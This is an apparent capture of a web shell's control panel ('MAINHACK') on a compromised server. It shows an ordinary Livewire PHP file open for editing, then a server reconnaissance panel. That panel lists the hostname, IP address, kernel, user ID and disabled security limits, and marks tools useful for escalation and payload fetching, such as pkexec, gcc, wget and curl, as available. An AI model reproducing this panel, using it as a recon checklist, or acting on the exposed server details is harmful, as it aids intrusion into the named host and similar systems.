[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ComponentHookRegistry.php
<?php namespace Livewire; use WeakMap; use Livewire\Drawer\Utils; class ComponentHookRegistry { protected static $components; protected static $componentHooks = []; static function register($hook) { if (method_exists($hook, 'provide')) $hook::provide(); if (in_array($hook, static::$componentHooks)) return; static::$componentHooks[] = $hook; } static function getHook($component, $hook) { if (! isset(static::$components[$component])) return; $componentHooks = static::$components[$component]; foreach ($componentHooks as $componentHook) { if ($componentHook instanceof $hook) return $componentHook; } } static function boot() { static::$components = new WeakMap; foreach (static::$componentHooks as $hook) { on('mount', function ($component, $params, $key, $parent) use ($hook) { if (! $hook = static::initializeHook($hook, $component)) { return; } $hook->callBoot(); $hook->callMount($params, $parent); }); on('hydrate', function ($component, $memo) use ($hook) { if (! $hook = static::initializeHook($hook, $component)) { return; } $hook->callBoot(); $hook->callHydrate($memo); }); } on('update', function ($component, $fullPath, $newValue) { $propertyName = Utils::beforeFirstDot($fullPath); return static::proxyCallToHooks($component, 'callUpdate')($propertyName, $fullPath, $newValue); }); on('call', function ($component, $method, $params, $addEffect, $earlyReturn) { return static::proxyCallToHooks($component, 'callCall')($method, $params, $earlyReturn); }); on('render', function ($component, $view, $data) { return static::proxyCallToHooks($component, 'callRender')($view, $data); }); on('dehydrate', function ($component, $context) { static::proxyCallToHooks($component, 'callDehydrate')($context); }); on('destroy', function ($component, $context) { static::proxyCallToHooks($component, 'callDestroy')($context); }); on('exception', function ($target, $e, $stopPropagation) { if ($target instanceof \Livewire\Component) { static::proxyCallToHooks($target, 'callException')($e, $stopPropagation); } }); } static public function initializeHook($hook, $target) { if (! isset(static::$components[$target])) static::$components[$target] = []; $hook = new $hook; $hook->setComponent($target); // If no `skip` method has been implemented, then boot the hook anyway if (method_exists($hook, 'skip') && $hook->skip()) { return; } static::$components[$target][] = $hook; return $hook; } static function proxyCallToHooks($target, $method) { return function (...$params) use ($target, $method) { $callbacks = []; foreach (static::$components[$target] ?? [] as $hook) { $callbacks[] = $hook->{$method}(...$params); } return function (...$forwards) use ($callbacks) { foreach ($callbacks as $callback) { $callback(...$forwards); } }; }; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.9 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002